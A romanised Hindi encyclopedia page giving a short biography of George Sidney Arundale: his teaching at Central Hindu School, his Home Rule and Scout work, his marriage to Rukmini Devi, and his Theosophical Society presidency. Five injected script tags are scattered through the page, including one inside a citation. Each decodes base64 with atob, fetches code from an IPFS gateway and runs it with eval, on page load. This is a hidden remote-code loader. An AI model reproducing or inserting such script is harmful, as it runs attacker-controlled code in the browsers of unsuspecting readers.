जॉर्ज सिडनी अरुंडेल

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
j aaurj sidani aruandel
poora nam j aaurj sidani aruandel
janm 1 disambar, 1878
janm bhoomi ianglaiand
mrityu 12 agast, 1945
mrityu sthan adayar (madras, vartaman chennee)
pati/patni rukmini devi aruandel
karm bhoomi bharat
karm-kshetr adhyapan
sanbandhit lekh rukmini devi aruandel
any janakari madras mean j aaurj sidani aruandel ne ‘skaut’ aandolan ko age badhaya. unake aur eni beseant ke sanyukt prayas se hi yuvakoan ko aantararashtriy skaut aandolan mean saman adhikar prapt hua.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

j aaurj sidani aruandel (aangrezi: George Sidney Arundale, janm- 1 disambar, 1878, ianglaiand; mrityu- 12 agast, 1945) ka nam bharat ke lie apana jivan samarpit kar dene vale aangrez vyaktiyoan mean gina jata hai. eni beseant ne yuvaoan ki samuchit shiksha ke lie varanasi mean jo ‘seantral hiandoo skool’ ki sthapana ki thi, j aaurj aruandel usi skool mean adhyapak ban ge the. vah bharat ki svatantrata ki bhavana ka poora samman karate the.

parichay

j aaurj sidani aruandel ka janm 1 disanbar, 1878 ko ianglaiand mean hua tha. unaki dhanadhy mausi ne unhean pala tha. shiksha samapt karane ke bad aruandel ko landan mean eni beseant ka bhashan sunane ka avasar mila. usase prabhavit hokar 25 varsh ki umr mean ve bharat chale ae aur phir yahian ke hokar rah ge.[1]

shikshan kary

eni beseant ne yuvaoan ki samuchit shiksha ke lie varanasi mean ‘seantral hiandoo skool’ ki sthapana ki thi. j aaurj sidani aruandel isi vidyalay mean adhyapak ban ge. 10 varsh tak shikshak rahane ke bad unhean yahaan ka pradhanachary bana diya gaya. bah b de lokapriy adhyapak the. vidyalay mean kee chhatr aise bhi the, jinaka kraantikari aandolan se sanbandh tha. aruandel is bat se avagat the, parantu unhoanne un chhatroan ko giraphtar karane ke lie pulis ko kabhi bhi vidyalay mean nahian ghusane diya. vah bharat ki svatantrata ki bhavana ka poora samman karate the.

vivah

thumb|left|250px|j aaurj tatha rukamani devi aruandel j aaurj sidani aruandel pahanava, rahan- sahan, vicharoan aur bhavanaoan se poori tarah bharatiy ban chuke the. 1920 mean unhoanne dakshin bharat ki ek brahman yuvati rukmini devi se vivah kar liya. age chalakar rukmini aruandel ne bhi kala ke kshetr mean kafi nam kamaya.[1]

nazarabandi aur vidyalay sanchalak

eni beseant ne jab 'homarool lig' ki sthapana ki to aruandel usamean sammilit ho ge. madras sarakar ki nishedhajna ka ullanghan karane ke karan unhean 1917 mean nazaraband kar diya gaya tha.

madras mean aruandel ne ‘ skaut’ aandolan ko age badhaya. unake aur eni beseant ke sanyukt prayas se yuvakoan ko aantararashtriy skaut aandolan mean saman adhikar prapt hua. prabhavashali vakta j aaurj sidani aruandel 'madras majadoor sangh' ke mantri bhi rahe. madras mean eni beseant ne ek rashtriy vishvavidyalay ki sthapana bhi ki thi. raviandranath thakur aur aruandel usake pramukh sanchalak the.

eni beseant ke nidhan ke bad j aaurj sidani aruandel 'aantarrashtriy thiyosophikal sosaiti' ke adhyaksh chune ge. unhoanne anek pustakoan ki rachana bhi ki.

mrityu

j aaurj sidani aruandel ka nidhan 12 agast, 1945 ko hua. unaki samadhi eni beseant ki samadhi ke nikat adayar (madras, vartaman chennee) mean hai.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 47-48 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>